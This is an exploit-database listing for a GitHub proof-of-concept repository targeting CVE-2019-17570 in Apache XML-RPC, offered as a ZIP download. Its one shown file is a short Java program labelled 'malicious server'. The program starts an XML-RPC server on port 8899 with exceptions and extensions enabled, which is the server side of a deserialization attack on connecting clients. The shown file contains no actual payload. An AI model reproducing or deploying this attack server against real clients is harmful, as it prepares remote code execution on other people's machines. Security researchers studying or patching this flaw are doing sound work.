Exploit database

GH-56868fd5e055aa3dd95b27f2a82a87e6

r00t4dm/cve-2019-17570

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-17570

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
r00t4dm/cve-2019-17570Revision a00b7aba35e3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main/java/App.java

Java · 1,147 bytes
import org.apache.xmlrpc.XmlRpcException;
import org.apache.xmlrpc.client.XmlRpcClient;
import org.apache.xmlrpc.common.TypeFactoryImpl;
import org.apache.xmlrpc.common.XmlRpcHttpRequestConfigImpl;
import org.apache.xmlrpc.parser.XmlRpcResponseParser;
import org.apache.xmlrpc.server.PropertyHandlerMapping;
import org.apache.xmlrpc.server.XmlRpcServer;
import org.apache.xmlrpc.server.XmlRpcServerConfigImpl;
import org.apache.xmlrpc.webserver.WebServer;

import java.io.IOException;
import java.net.URL;


/**
 * 恶意服务端
 */
public class App {
    private static final int port = 8899;

    public static void main (String []args) throws XmlRpcException, IOException {

        WebServer webServer = new WebServer(port);
        XmlRpcServer xmlRpcServer = webServer.getXmlRpcServer();
        PropertyHandlerMapping phm = new PropertyHandlerMapping();

        xmlRpcServer.setHandlerMapping(phm);
        XmlRpcServerConfigImpl serverConfig = (XmlRpcServerConfigImpl) xmlRpcServer.getConfig();

        serverConfig.setEnabledForExceptions(true);
        serverConfig.setEnabledForExtensions(true);

        webServer.start();
    }
}